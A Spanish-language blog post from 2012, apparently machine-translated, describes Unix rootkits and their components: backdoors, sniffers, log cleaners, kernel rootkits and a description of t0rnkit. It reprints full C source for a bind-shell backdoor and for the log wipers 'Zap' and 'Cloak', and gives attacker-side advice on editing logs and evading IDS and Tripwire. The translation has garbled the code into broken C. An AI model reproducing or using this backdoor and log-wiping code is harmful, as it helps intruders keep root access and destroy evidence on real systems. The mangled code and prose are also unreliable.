jueves, 21 de junio de 2012

Rootkit

Saludos Mundo Libre.

Rootkit un poco de teoria.

Esta t-filepaper o como se quiera llamarlo (me referiré a este phile como T-file) le ayudará a captar y entender los conceptos de "rootkits". No voy a aburrir con la "historia" de kits de raíz, sólo voy a ir directamente en ella, de una forma fácil de seguir. Esta t-archivo fue escrito para el principiante y el usuario de nivel medio y el conocimiento previo de los sistemas * nix es necesario para sacar el máximo provecho de este t-archivo ...

1.2 - Prólogo


Voy a hacer esta breve sección. La información contenida en este t-archivo ha sido escrito por mí, este trabajo ha estado en desarrollo durante las últimas dos semanas. He utilizado dos métodos principales para elaborar este documento ...

    Lectura - me la pasaba leyendo los papeles de otras personas, ideas, etc teorías sobre los kits de raíz, en parte, para que yo pudiera empezar en alguna parte.
    Práctico - Yo también pasé muchas horas haciendo "prácticas" de trabajo para que yo pudiera escribir este artículo de mi propia experiencia, no sólo basado en la experiencia de otras personas.

Cuando llegó el momento de realizar este trabajo práctico que utiliza dos principales distribuciones * nix. Red Hat 9 y OpenBSD, no importa lo que distro que usted decida usar, porque esto es siempre una elección personal.

Se recomienda encarecidamente que antes de siquiera intentar compilar o utilizar cualquiera de los rootkits se mencionan en este documento usted sabe exactamente lo que está haciendo y que se están ejecutando estos programas en un entorno controlado.

Por ejemplo un ambiente controlado y sería un PC independiente desconectada de todas las formas de comunicación (red, Internet, intranet, etc)

Un entorno incontrolado sería un PC conectado a Internet oa una red (red de su empresa sería una elección muy estúpida!)

Esto nos lleva a la "Responsabilidad" ...

**********************************************

**********************************************

Yo no soy responsable de  Esta información ha sido escrita para los propósitos educativos solamente * coughWHATEVERcough *.

La conclusión es que te he dicho cómo hacerlo, nunca me dijo que lo hiciera!

1.3 - ¿Qué es un rootkit?


Usted sabe que una cosa es sentarse y ver pintura seca, pero usted sabe qué otra cosa es peor que eso?

Lectura de un archivo de algo que ni siquiera entienden ... Por lo tanto es hora de que aprendas lo que es un rootkit es (Si ya sabes continuación, siéntase libre para saltar esta sección)

Un rootkit es un programa. Los rootkits de todas las formas y estilos diferentes, avance unos más que otros. Los rootkits son básicamente los programas que ayudan a mantener a los atacantes de su posición como root. Tenga en cuenta que se llama un "rootkit". 'Root' es decir, el nivel más alto de la administración de sistemas * nix y basados ​​en un "kit" que significa una colección de herramientas. Los rootkits contienen herramientas que ayudan a los atacantes ocultan su presencia, así como dar al atacante el control total del servidor o host de forma continua sin que se note.

Los rootkits se instalan normalmente en los sistemas cuando se han puesto en peligro y el mayor nivel de acceso se le ha dado (generalmente root) Algunos rootkits se niegan a ser instalado hasta que el atacante tiene acceso a la raíz, debido a leer y escribir permisos a ciertos archivos. Una vez que el sistema ha sido comprometido y con éxito, el atacante tiene una raíz, Heshe continuación, puede instalar el rootkit, lo que les permite cubrir sus huellas y borrar los archivos de registro.

Un rootkit típico consta de las siguientes utilidades (Nota: vamos a ver esto en mucho más detalle más adelante)

    Programas de puerta trasera - puertas traseras de inicio de sesión, etc telnetd
    Analizadores de paquetes - rastrear el tráfico de red, tales como FTP, Telnet, POP3
    Inicie sesión o enjugarse Utilidades - Bash los registros para cubrir las pistas
    Programas DDoS - Gire la caja en un cliente de DDoS (Recuerde Trinoo?)
    IRCBots - Motores de búsqueda utilizados para hacerse cargo de los canales de IRC (Lame y molesto)
    Varios programas - Puede contener explotar, editor de registro


(No se preocupe mucho si usted no entiende alguno de los anteriores, como ya he dicho se mire todo esto en un detalle mucho más más abajo)

1.4 - Definición de la jerga hacker


Oh, ¡Viva la jerga pirata poderoso!

Esto es lo que la "jerga hacker", dice acerca de la palabra "rootkit" ...

"Rootkit: / root'kit / n.

[Muy común] Un kit para el mantenimiento de la raíz, una herramienta automatizada de grietas. Lo utilizan los script kiddies. Después de un cracker ha roto en primera y consiguió acceso como root, él o ella va a instalar ejecutables modificados, como un inicio de sesión versión modificada con una puerta trasera, o una versión de ps que no se reportan procesos del cracker). Se trata de un rootkit. "

¡Wow! eso es increíble! Nosotros te adoramos la jerga pirata! Gracias siempre tanto para explicar a mí lo que es un rootkit?

Recuerde kidz, todo lo que tienes que hacer es leer algunos frescos urbanos Hax @ r con las palabras de la jerga a sus amigos y se cree que su realidad c00l! y 1337!

1.5 - Los piratas informáticos o la Kidz?


Ahora la pregunta que probablemente se estará preguntando es "¿Es un rootkit una herramienta de los hackers o simplemente otra herramienta de escritura para niños?" (Bueno, no se puede pensar que, tal vez yo sux y mis habilidades de la psicología son tan buenos como el suyo ..) Bueno, la "jerga hacker" define un rootkit y una herramienta de secuencia de comandos de kiddies y hasta cierto heshetheyIT extend es correcto (El la jerga siempre tiene la razón)

Los rootkits no requieren realmente que mucha habilidad para ejecutar o utilizar. La mayoría de los rootkits pueden ser compilados como esta ..

gcc-o t0rn.c rootkit

entonces ...

. / Rootkit

(Ahora, obviamente, al compilar todos los "hacker" las herramientas que necesita para elegir un nombre que disfraza su propósito, por lo que rootkit sería una opción realmente estúpido)

Sin embargo, hay algunos rootkits que requieren más habilidad para ejecutar y utilizar. Algunos rootkits necesitan que se modifique el código fuente antes de que sea compilada y algunos incluso lo que necesita para editar el iptables y el núcleo. (Las muy anticipadas, que utiliza uno en la "Conferencia de Sombrero Negro" en 2002)

Por lo tanto, los rootkits son usados ​​tanto por los hackers y script kiddies. Personalmente, creo que un hacker tendría que escribir su propio rootkit para llamarse a sí mismo un hacker no solo ejecutar y utilizar algún otro código. (Sin embargo esto es sólo mi opinión, así que no me abrazas a eso!)

1.6 - ¿Quién utiliza rootkits y por qué?


Ya he cubierto esta realidad en los apartados anteriores, sin embargo, para los tipos de olvido voy a explicar una vez más, sólo a los resúmenes de lo que hemos aprendido hasta ahora ...

Los hackers y script kiddies usan rootkits, que los utilizan para mantener las raíces y cubrir sus huellas. Script kiddies carecen de conocimientos sobre * como * un rootkit que realmente funciona y lo más a menudo van a terminar por eliminar los archivos binarios clave. (Básicamente, los script kiddies le hará saber cuando se han puesto en peligro su sistema)

Los rootkits sólo se instalan cuando el sistema ha sido comprometido y la raíz se ha adquirido.

Yo realmente no quiero entrar en detalles más, porque voy a terminar solo me repito. Le permite simplemente pasar ...

1.7 - Los rootkits son codificados en el lenguaje


Hmmm, bueno, eso no va a ser breve ...

La mayoría de los rootkits están codificados en C o de la Asamblea (Shell código). La mayoría de los rootkits conocidos están codificadas en C por lo que el atacante puede editar el código fuente para adaptarse a su especificación de destino. (Por ejemplo, los archivos de registro puede ser almacenado en una ubicación diferente)

1.8 - Los diferentes tipos de rootkits


En el momento actual de la escritura hay 2 tipos principales de rootkits.

Rootkits de aplicación, creados en la capa de aplicación

Rootkits de kernel, creados a nivel del kernel (núcleo de cualquier sistema operativo)

Cuando digo "establecido" que podría ser denominado de donde exactamente las pieles de rootkit. Ahora vamos a inicio de mi mirar un rootkit aplicación.

Un rootkit es, básicamente, la aplicación de un rootkit, que "sustituye a" todos los saben muy bien los archivos binarios del sistema (ls, netstat, killall) con el "falso" o "los" troyanizada. Los archivos del sistema o falso troyanizada le ayudará a ocultar la presencia de los atacantes, reportar información falsa al administrador del sistema e incluso proporcionar una puerta trasera para el atacante. Para ayudarle a comprender esto más me han proporcionado una lista de todos los archivos de sistema típicas, que se "sustituye" a, ayudar a que el atacante cubrir sus pistas. La lista fue tomada de "Rootkit: Herramientas atacante encubiertos" por Sailman Manap.

Programas de sustitución para ocultar la presencia atacante.

    "Ls", "buscar", "du" - del sistema de archivos troyano será capaz de ocultar a los atacantes del archivo, el directorio

y esas cosas que se han introducido en el sistema de ser listado.

    "Ps", "de arriba", "pidof" - Todos estos programas son el programa de proceso de monitor. Contener troyanos

programa, se oculta el proceso atacante de ser listado.

    "Netstat" - netstat se utiliza para comprobar la actividad de red como el puerto de red abierta

establecer conexiones y escuchar. Netstat troyano se oculta los procesos instalados por el atacante como el demonio de ssh u otros servicios.

    "Killall" - troyano "killall" no va a ser capaz de matar proceso de atacante.
    "Ifconfig" - Cuando sniffer se está ejecutando la bandera promisc se establece en el NIC. "Ifconfig" es una práctica utilidad para establecer y para ver la configuración de la NIC Ethernet. Troyano "ifconfig" no va a exhibir la bandera promisc cuando sniffer se está ejecutando. Esto es útil para ocultar succionador de ser detectado.
    "Crontab" - troyano "crontab", se oculta la entrada del atacante crontab.
    "Tcpd", "syslogd" - Trojanised "tcpd" y "syslog" no se registra ninguna conexión hecha por el atacante. "Tcpd" también es capaz de eludir la aplicación de los empaquetadores TCP.

Con suerte, que debería haber dado una mejor idea de lo que es una aplicación. Recuerde que esta sección sólo ha ser escrito para que pueda distinguir las diferencias entre una "aplicación" rootkit y rootkit "núcleo". Vamos a echar un vistazo a un rootkit del núcleo.

Un rootkit del núcleo es un rootkit que se entierra profundo en el núcleo. Esto hace que sea extremadamente difícil de detectar y eliminar. Rootkits de kernel son más adelantado y rootkits de aplicación, un rootkit del núcleo funciona mediante la explotación y la manipulación de las capacidades del núcleo. Ahora realmente no me quiero ir con mucho más detalle sobre los rootkits de kernel, ya que pueden llegar a ser muy adelantado (Bueno, lo son) se habla de ellos más adelante en este archivo, sino que también puede ayudar a ver "2.7 - ¿Cómo el núcleo obras "para tener una idea de estos rootkits ...

Ahora es el momento de seguir adelante. En la siguiente sección (sección 2) Nos fijamos en todos los elementos que componen un rootkit, como una puerta trasera, Sniffer, registro, etc Basher A mitad de camino a través de la sección 2 a continuación se verá en "Los rootkits del kernel" con más detalle.

2 - Puertas traseras


La mayor parte de (decente) rootkits actuales contienen "puertas traseras". Ahora todos ustedes deben saber lo que es una puerta trasera, pero es sólo en caso de que no Rápidamente me dará una breve explicación de todos.

Backdoor - Es un programa o script que permite a un atacante para establecer algún tipo de privilegio y la comunicación a distancia sin necesidad de acceder al sistema. Las puertas traseras se instalan normalmente cuando el sistema ha sido comprometido y con éxito algún tipo de explotación ha supuesto estado. La ventaja de instalar una puerta trasera en un sistema significa que el atacante no tiene que seguir usando el exploit mismo una y otra vez. La desventaja de instalar una puerta trasera en un momento u otro, el administrador del sistema se dará cuenta de cualquier actividad sospechosa en su tráfico de red, si él o ella fuera a ejecutar un escáner de puertos como nmap (codificado por Fyodor http://www.insecure.org ) él o ella pronto iba a descubrir un puerto abierto y tarde o temprano quitar la puerta trasera.

Un ejemplo típico de una puerta trasera de Windows NT2000 es uno titulado "Tini.exe" (Hecho por NTSecurity) Este pequeño programa se escucha en el puerto 7777 para conexiones entrantes, una vez que una conexión se ha establecido un shell de comandos remoto se ejecuta para el atacante que se establece la conexión. (Ahora, como he mencionado esto t-archivo ocupa por lo general con * nix puertas traseras, así que realmente no desea obtener una versión salió hablando de puertas traseras ventanas, hazañas, etc Pensé que acababa de mencionar tini.exe para darle un general idea de lo que es una puerta trasera se compone de.

Ahora vamos a hablar más sobre * Las puertas traseras Nix. * Las puertas traseras nix vienen en muchas formas * Los * y tamaños. El trabajo de Sailman Manap da otra larga lista completa de todas las formas de puertas traseras vienen pulg ..

    Ingresar Backdoor - Modificación de login.c para buscar contraseñas de puerta trasera antes de que la contraseña almacenada. El atacante puede acceder a cualquier cuenta con contraseña de puerta trasera.
    Backdoor telnetd - contener troyanos la "in.telnetd" para permitir el acceso atacante ganancia con la contraseña de puerta trasera.
    Backdoor Servicios - Sustitución y manipular los servicios como "ftp", "rlogin", incluso "inetd" como puerta trasera para tener acceso.
    Puerta trasera cronjob - Backdoor También se podría añadir en "crontjob" para ejecutarse en tiempo específico, por ejemplo, a las 12 medianoche a 1 am.
    Puertas traseras de la biblioteca - Casi todos los UNIX y del sistema de Windows han compartido las bibliotecas. Bibliotecas compartidas puede ser puerta de atrás para hacer las actividades maliciosas como dar un acceso de root o administrador.
    Puertas traseras del kernel - Este troyano es básicamente la explotación del núcleo, que es el núcleo del sistema operativo para manejar y ocultar a la puerta trasera con eficacia
    Puertas traseras de tráfico de red que por lo general a través de TCP, UDP, e ICMP - Backdoor que el protocolo explotación de tráfico de red se utiliza ampliamente. En el protocolo TCP puerta trasera como ssh es popularmente utilizado, ya que comunicarse en cifrar, mientras que la elaboración de paquetes y hacer un túnel en el tráfico UDP e ICMP dará a mejores posibilidades que escapan de firewall y "netstat".


Todo esto y cualquier otra forma de * nix puertas traseras están explicados y documentados por Christopher Klaus, su papel puede ser

Alcanzado en http://secinf.net/info/unix/backdoors.txt, os recomiendo echarle un vistazo si usted está realmente interesado en cualquiera de puertas traseras, o que todavía no han comprendido los conceptos básicos de la puerta trasera. También he escrito un pequeño archivo en puertas traseras, titulado "Un curso acelerado en la puerta trasera" que está disponible en http://www.invisibleghosts.net

Para terminar de esta sección en puertas traseras, me siento como la adición de algo de código fuente. (Esta es una básica Backdoor TCP para * nix, si usted no posee una copia de Linux o Unix ni siquiera intentar compilar este

Yo no escribí esto, shaun2k2 lo hizo, así que por favor dé todo el crédito por el código fuente a continuación de él.

Código: C

/ * Backdoor.c - básicos de UNIX TCP puerta trasera.
*
* Esta es una puerta trasera básicos de UNIX TCP. / Bin / sh se enganchan al puerto de su
* Elección. Acceder a la concha con telnet o netcat:
*
* Root # nc-v hackedhost.com 1337
*
* No asumir la responsabilidad de este código.
* /

# Include
# Include
# Include
# Include
# Define CARTERA 5
# Define SHELL "/ bin / sh"

el uso de vacío ();

int main (int argc, char * argv []) {
    if (argc <2) {
        uso (argv [0]);
    }
  
    int sock, csock;
    struct sockaddr_in cliente;
    struct sockaddr_in la mía;
    if ((sock = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
        printf ("No se pudo establecer el zócalo n"); exit (-1);
    }
  
    mine.sin_family = AF_INET;
    mine.sin_port = htons (atoi (argv [1]));
    mine.sin_addr.s_addr = INADDR_ANY;
    if (bind (sock, (struct sockaddr *) y la mía, sizeof (struct sockaddr)) == -1) {
        printf ("No se pudo enlazar el zócalo n");
        salida (-1);
    }
  
    if (listen calcetín (, la cartera) -1 ==) {
        printf ("No se pudo escuchar en el zócalo n");
        salida (-1);
    }
  
    printf ("Escuchando las conexiones en el puerto% s n", argv [1]);
  
    while (1) {
        int sin_size;
        sin_size = sizeof (struct sockaddr);
        csock = accept (sock, (struct sockaddr *) & cliente, y sin_size);
        dup2 (csock, 0);
        dup2 (csock, 1);
        dup2 (csock, 2);
        execl ("/ bin / sh", "/ bin / sh", (char *) 0);
        cierre (csock);
    }
}

el uso de vacío (char * progname []) {
    printf ("Uso: N % s", progname);
    salida (-1);
}

El objetivo principal de que te muestra esta fuente es para darle una idea general de lo que un rootkit se compone de. Recuerde que los rootkits vienen en muchas formas y tamaños y todos los rootkit es más probable que contienen algún tipo de puerta trasera ...

Entonces, ¿qué otra cosa rootkits contienen además de puertas traseras? Vamos a pasar a la siguiente sección y mire "sniffers".

2.1 - Sniffers


Una gran cantidad de rootkits de hoy en día contienen programas conocidos como "sniffers". ¿Qué son los rastreadores? (También conocido como rastreadores de paquetes)

Básicamente rastreadores de paquetes son los programas que se hacen a "Monitor" el tráfico de red, TCPIP o cualquier otro dispositivo de red. Estoy seguro de que usted sabe cuándo usted está navegando por Internet o jugar juegos en línea "paquetes" de datos van desde y hacia su PC. Los atacantes instalar rastreadores para que puedan capturar la información valiosa que está flotando hacia y desde su ordenador.

¿Qué tipo de información valiosa?

Aquí está una lista de lo que un Sniffer es capaz de ...

    Olfateando las contraseñas de FTP
    Olfateando las contraseñas de Telnet
    Olfateando las contraseñas de red
    Olfateando las contraseñas de POP3
    La captura de sitios web que ha visitado
    Gateways de oler
    Mucho más

Algunos de ustedes pueden estar pensando "¿No se me ha cifrado las contraseñas, ya que están pasando en mi red?" Hasta cierto punto esto es cierto, algunos servicios ofrecen encriptación (como e-mail si estuviera usando PGP oler sería inútil, a menos que, por supuesto, el criptógrafo bueno)

Otros servicios como FTP y Telnet transferir sus contraseñas en texto plano, por lo que sería fácil para un atacante para capturar sólo el paquete de continuación, verter en un editor de texto (como el "vi", "Pico" o por M $ bloc de notas) que sólo tomaría un par de minutos para que un atacante para revelar la contraseña en texto plano.

Ahora hay un punto de vista técnico de rastreadores que yo realmente no quiero entrar. Para más información sobre sniffers por favor, lea http://www.sans.org/infosecFAQ/switchednet/sniffers.htm este documento fue escrito por un "Drury Jason" y he encontrado que es más útil. Si usted está más interesado en rastreadores de Windows, entonces puedo recomiendo conseguir una copia de la siguiente ....

    De Windows Sniffer
    Tcpdump
    Contraseña de captura --------> Hecho especialmente para olfatear las contraseñas
    Olfatear
    Etéreo
    EtherPeep

Mi favorito personal Sniffer para Windows tiene que ser TCPDump que es la línea de órdenes para que los scripties no iría cerca de ella, pero para aquellos verdaderamente interesados ​​en los elementos de la piratería informática le recomiendo tcpdump, se necesitará tiempo para acostumbrarse a ella, pero su valor él.

Ahora ¿qué pasa con rastreadores de Linux .. Hmmmm Voy a ser honesto con ustedes no he tenido mucha experiencia en el uso de Linux rastreadores, pero me han dicho que hay algunos buenos tutoriales sobre cómo hacer su propia Sniffer para * nix en http://www.planetsourcecode.com, Sin embargo, incluso antes de intentar hacer su propia os recomiendo entrar en la programación del zócalo. Si quieres hacer una lectura Sniffer sólo Google por su parte, muy común es "linsniffer.c"

En cualquier caso volver al punto principal, la mayoría de los rootkits contienen a veces "listo para funcionar" sniffers y sniffers son difíciles de detectar una vez que se están ejecutando. (Se mira esto un poco más tarde) El propósito de esta sección era sólo para mostrar lo que un Sniffer es .. Ahora ya sabes vamos a pasar

2.2 - Limpiadores (Bashers de registro)


Ah, llegamos a algo mucho más simple, Bashers registro (También conocido como deleters de registro, los asesinos de registro y limpieza de registro)

No importa cuál sea el título que todos hacen lo mismo. Elimine los archivos de registro del sistema. Los administradores del sistema se basan en la explotación forestal como una forma adicional de seguridad. Los archivos de registro se puede realizar un seguimiento de quién se conectó por última vez y en qué tipo, qué programas se ejecute como ese usuario se registra en, etc, etc

Por lo tanto, es extraordinariamente importante para el atacante para destruir todos los rastros de archivos de registro. Ahora, algunos de ustedes pueden estar pensando ..

"Si todos los archivos de registro se borran no se presente dar una indicación al administrador del sistema que el cuadro ha sido hackeado?"

Si estás pensando en eso, entonces su derecho muerto. Eliminación de los archivos de registro a veces puede ser bastante estúpido, la mejor manera de moverse por los archivos de registro es para "editar" las entradas mediante la supresión de las entradas y llenar algunos falsos (A veces esto requiere acceso de root, pero si su funcionamiento un limpiador de registro de un rootkit ya debe tener raíces

Otra forma de evitar esto es borrar el archivo de registro de todo y luego a "recrear" de ellos. Aquí hay un script muy sencillo que hice para demostrar lo que quiero decir ...
Código: C

int main ()
system ("rm-rf / root / logs / LastEntry.log");
tacto ("/ root / logs / LastEntry.log");
return 0;

Ahora, para aquellos que no saben nada de C entonces yo voy a explicar. La primera línea principal del código es decirle al programa en C para eliminar el archivo LastEntry.log, elimínelo. La segunda línea está diciendo que el programa cree un archivo llamado LastEntry.log en la misma ubicación exacta.

Así que cuando el administrador del sistema se abre el archivo de registro que se enfrentará a un archivo en blanco. (Esto puede ser un poco estúpido, porque si el administrador es la seguridad de mentalidad que se sabe que el sistema ha sido comprometido. Algunos administradores de estúpidos lo ven como un 'error' por lo tanto, salirse con la suya.)

La mayoría de los rootkits contienen algún tipo de registro, limpiador, pero antes de ejecutarlo es necesario asegurarse de que sabe exactamente cómo funciona, de lo contrario sólo otro script kiddie que "presume" de esta herramienta cubrirá sus pistas por completo. Algunos limpiadores de registro de buscar en los directorios de algunas palabras como "IP", "Ingresar", "Registros", "etc Iniciar sesión" y luego borrarlos. Algunos simplemente eliminar todos los archivos de registro por defecto que se encuentran en la ubicación predeterminada del sistema. Antes de compilar un rootkit aprender C y echar un vistazo al código fuente es posible que usted tenga que editar algunas de las entradas. Es importante que usted viene completamente preparado antes de salir e instalar el rootkit.

Te voy a decir ahora, he estado en este juego el tiempo suficiente para darse cuenta, incluso si usted logra editDelete un montón de archivos de registro no quiere decir que eres imposible de rastrear. Todavía es necesario pensar en programas del sistema que se están ejecutando, que pueden tener sus propias capacidades de registro. Esté atento a los IDS (Sistemas de Detección de Intrusos), tales como Snort, y mirar hacia fuera para programas como Tripwire y los otros programas de seguridad que monitoranalyze la seguridad del sistema.

A medida que más y más a ser dispuestos a la seguridad para hacer allí el software y la "conciencia de seguridad", los administradores de sistemas son cada vez listo, así que ten cuidado!

Voy a terminar esta sección, ahora con una fuente de algunos limpiadores de registro bien conocidos, te recomiendo no usarlos, sin embargo, ya que son bastante viejos. Sólo estoy usando para mostrar lo que los limpiadores de registro son típicos (que solía ser) gusta. El hecho de que son viejos, aunque no quiere decir que no funcionan Estoy bastante seguro de que si Google sobre usted puede encontrar algo mucho mejor.

Este es un limpiador de registro muy antiguo llamado "Zap", el código fuente está por debajo de ..

Código: C

# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define WTMP_NAME "/ usr / adm / wtmp"
# Define UTMP_NAME "/ etc / utmp"
# Define LASTLOG_NAME "/ usr / adm / lastlog"

int f;

void kill_utmp (OMS)
char * que;
{
    utmp_ent struct utmp;
  
    if ((f = open (UTMP_NAME, O_RDWR))> = 0) {
        while (read (f, y utmp_ent, sizeof (utmp_ent))> 0)
            if (! strncmp (utmp_ent.ut_name, que, strlen (que))) {
                bzero ((char *) y utmp_ent, sizeof (utmp_ent));
                lseek (f, - (sizeof (utmp_ent)), SEEK_CUR);
                write (f, y utmp_ent, sizeof (utmp_ent));
            }
            cierre (f);
    }
}

void kill_wtmp (OMS)
char * que;
{
    utmp_ent struct utmp;
    tiempo pos;
  
    pos = 1L;
    if ((f = open (WTMP_NAME, O_RDWR))> = 0) {
      
        while (pos! =-1L) {
            lseek (f, - (largo) ((sizeof (struct utmp)) * pos), L_XTND);
            if (read (f, y utmp_ent, sizeof (struct utmp)) <0) {
                pos =-1L;
            Else {}
                if (! strncmp (utmp_ent.ut_name, que, strlen (que))) {
                    bzero ((char *) y utmp_ent, sizeof (struct utmp));
                    lseek (f, - ((sizeof (struct utmp)) * pos), L_XTND);
                    write (f, y utmp_ent, sizeof (utmp_ent));
                    pos =-1L;
                } Else pos + = 1L;
            }
        }
        cierre (f);
    }
}

void kill_lastlog (OMS)
char * que;
{
    struct passwd * pwd;
    estructura lastlog newll;
  
    if ((pwd = getpwnam (OMS))! = NULL) {
      
        if ((f = open (LASTLOG_NAME, O_RDWR))> = 0) {
            lseek (f, (largo) pwd-> pw_uid * sizeof (struct lastlog), 0);
            bzero ((char *) y newll, sizeof (newll));
            write (f, (char *) y newll, sizeof (newll));
            cierre (f);
        }
      
    } Else printf ("% s: n", quién);
}

principal (argc, argv)
int argc;
char * argv [];
{
    if (argc == 2) {
        kill_lastlog (argv [1]);
        kill_wtmp (argv [1]);
        kill_utmp (argv [1]);
        printf ("Zap2 n");
    } Else
        printf ("Error.n");
}

Aquí está otro limpiador de registro que se llama v1.0 Capa que limpia su presencia en BSD SCO, Ultrix y UNIX de HP / UX. Este programa es * * de edad y fue escrito por Wintermute de-Resist.

Código: C

/ * Capa de UNIX v1.0 (alfa) Escrito por: Wintermute de-Resist-* /
/ * Este archivo completamente limpia toda la presencia de ustedes en un sistema UNIX * /
/ * Se trabaja en BSD SCO, Ultrix, HP / UX, y cualquier otra cosa que * /
/ * Es compatible .. Este archivo es únicamente con fines informativos! * /

/ * -> Comienza la fuente ... * /
# Include
# Include
# Include
# Include
# Include

principal (argc, argv)
int argc;
char * argv [];
{
    char * name;
    struct utmp u;
    estructura lastlog l;
    int fd;
    int i = 0;
    int done = 0;
    int size;
  
    if (argc! = 1) {
        if (argc> = 1 && strcmp (argv [1], "cloakme") == 0) {
            printf ("Ahora cloakedn");
            Ir a inicio;
        }
        else {
            printf ("successfuln close");
            salida (0);
        }
    }
    else {
        printf ("uso: cerrar [archivo para cerrar] n");
        salida (1);
    }
empezar:
    name = (char *) (nombre_del_tty (0) 5);
    size = sizeof (struct utmp);
  
    fd = open ("/ etc / utmp", O_RDWR);
    if (fd <0)
        perror ("/ etc / utmp");
    else {
        while ((read (fd, & u, el tamaño) Tamaño ==) &&! hecho) {
            if (! strcmp (u.ut_line, nombre)) {
                done = 1;
                memset (& U, 0, tamaño);
                lseek (fd, el tamaño de -1 *, SEEK_CUR);
                write (fd, & u, tamaño);
                close (fd);
            }
        }
    }
  
  
    size = sizeof (struct lastlog);
    fd = open ("/ var / adm / lastlog", O_RDWR);
    if (fd <0)
        perror ("/ var / adm / lastlog");
    else {
        lseek (fd, el tamaño getuid * (), SEEK_SET);
        read (fd, & l, tamaño);
        l.ll_time = 0;
        strncpy (l.ll_line, "ttyq2", 5);
        gethostname (l.ll_host, 16);
        lseek (fd, el tamaño getuid * (), SEEK_SET);
        close (fd);
    }
}

2.3 - Utilidades adicionales Rootkit


Voy a tratar de mantener este corto tramo, debido a que no hay realmente mucho que decir. Como usted debe saber por ahora y como he mencionado rootkits vienen en todas formas y estilos. Algunos rootkits son bien conocidos por su limpiador de registro de avance, otros por no avanzar en Backdoor y otros porque no adavnce, el sigilo difíciles de eliminar el procedimiento de instalación.

Hay algunos rootkits que son bien conocidos por ser la RAE (Swiss Army rootkits), básicamente, son los rootkits con las características promedio, además de un montón de utilidades adicionales, tales como Motores de búsqueda, DDoS, scripts adicionales, crackers de contraseñas, etc Killer guiones

Los rootkits que contienen scripts que causan los ataques DDoS son considerados peligrosos, si un atacante para explotar 100 de los servidores e instalar un rootkit esos servidores se convertiría en "zombies" que podrían lanzar ataques DDoS (SYN, ping, finger, UDP, TCP) contra elegido objetivos. Los rootkits son continuamente está haciendo más adelantado y utilidades extra que se añaden en cada momento. En el futuro personal de predecir que los rootkits será una gran amenaza para la seguridad nacional .......

Eso es realmente todo lo que tengo que decir en esta sección. Vamos a seguir adelante.

2.4 - Los rootkits de kernel (más detalles)


Ya hemos mirado brevemente "rootkits de kernel", pero en realidad no hemos mirado en detalle cercano. En esta sección me propongo analizar y exponer los fundamentos de un rootkit del núcleo. Si no está seguro de lo que el "núcleo" es te recomiendo que omita esta sección y pasar a la siguiente sección (2.5) a continuación, volver a esta sección cuando se sienta que está listo.

La mejor manera de empezar de esta sección se habla sobre cómo el kernel rootkits trabajan realmente. Rootkits de kernel funciona, básicamente, mediante la explotación de LKM. (Módulos del núcleo) LKM se utilizan para cargar los controladores de dispositivo en un "según sea necesario" las bases. LKM en general sólo se explota de modo que el atacante puede realizar una actividad maliciosa.

Rootkits de kernel son mucho más peligrosos que los rootkits de aplicación, porque en lugar de reemplazar los binarios básicos como "ls" y "netstat" atacan directamente el kernel y manipular las llamadas al sistema como open () y read (). Como sabemos, los rootkits reemplazar los binarios de la aplicación, si el administrador era inteligente y se analizaron los binarios reales que habían sido sustituidos se darán cuenta de las diferencias de tamaño (por ejemplo, el programa podría contener un extra de 128 bytes) Sin embargo, esto no sería posible con el núcleo rootkits, porque en lugar de cambiar realmente el tamaño y la estructura del programa, que acaba de cambiar la forma en que el programa funciona. Por ejemplo, programas como "ps" utilizar un sistema de convocatoria abierta "open ()" y lee la información de los archivos del directorio / proc, donde también se guarda la información sobre los procesos en ejecución.

Para obtener más información acerca de los rootkits y enredar con los ejemplos típicos de cada tipo de rootkit ...

Teniendo en cuenta la obtención de una copia de ..

Solicitud de rootkit - rootkit t0rn Kernel - Adore (También conocido como LKM-Adore)

2.5 - el funcionamiento del kernel


Esta será una sección muy básico y muy corto y está aquí sólo para ayudar a aquellos que entienden el funcionamiento del kernel.

¿Qué es un kernel? En Inglés y el uso no técnico, la jerga de un kernel es básicamente el "núcleo" del sistema operativo (Linux, Unix, Windows). Sin el núcleo de un sistema operativo no pudo cargar.

El núcleo es una de las primeras cosas que se cargan en un sistema operativo y se queda en la memoria principal. Desde que se queda en la memoria principal de su * muy * importante para el núcleo para ser tan pequeño como sea posible, pero, al mismo tiempo ser capaz de proporcionar todos los programas esenciales, servicios, dispositivos, aplicaciones y controladores para el sistema operativo.

Típicamente, el núcleo es el responsable de I / O (entrada y salida) de gestión, controladores de dispositivos, gestión de la CPU, los procesos y la gestión de tareas y gestión de discos.

El núcleo se ve algo como esto ....
Código:

_________
| Aplicaciones y | - Llamadas del sistema - LKM
| _Programs_ ___ |
*******************
* * Kernel principal - Consiste en: Gestión de la memoria
IO ** Gestión
******************* CPU de Gestión
| Hardware | controladores de dispositivo
| _________ |

, ¿Entiendes?

Bastante simple en realidad ...

2.6 - Análisis de una aplicación Rootkit "T0rnkit"


Se trata de un análisis profesional del rootkit "T0rn" esto fue tomado de la sede principal fuera de McAffe.

"T0rnkit intenta ocultar su presencia cuando se instala. Durante la instalación por primera vez se apaga el sistema de registro de daemon, syslogd. A continuación, sustituye a varios ejecutables del sistema, con otras versiones falsas y añade un troyanizada demonio ssh al sistema también. Los programas que se sustituyen son, entre otros, du, encontrar, ifconfig, inicio de sesión, ls, netstat, ps, Qué y superior Si el administrador del sistema utiliza estas funciones vitales tanto que reportar información de apariencia normal, pero los procesos y conexiones de red que el hacker utiliza aren '. t muestra. Finalmente T0rnkit inicia un Sniffer en el fondo, permite a los demonios telnetd, rsh y el dedo en "/ etc / inetd.conf", se reinicia inetd para activar los cambios realizados y comienza a syslogd de nuevo. Este. todo ello sin que el administrador del sistema que sabe sobre él

Cabe destacar que todos los nuevos programas en el t0rnkit todos tienen el tamaño exacto de 31.336 bytes. T0rnkit se puede encontrar en el directorio / usr / src / .puta, pero por supuesto no se si ya se ha activado debido a 'ls' el comando ha sido reemplazado. Con la instalación estándar del puerto TCP 47017 t0rnkit está abierto para el acceso de superusuario al sistema. Una versión modificada de este rootkit fue distribuido también por una variante de Unix / León gusano.

Un administrador del sistema que es un poco más en el mundo de la seguridad puede encontrar una con el sistema infectado t0rnkit bastante rápido debido al cambio en el tamaño de los archivos y un escaneo de puertos simple revelan el puerto abierto, pero bastante divertido la mayoría de la gente no tiene esta " experiencia "

2.7 - Una variedad de métodos de ocultar


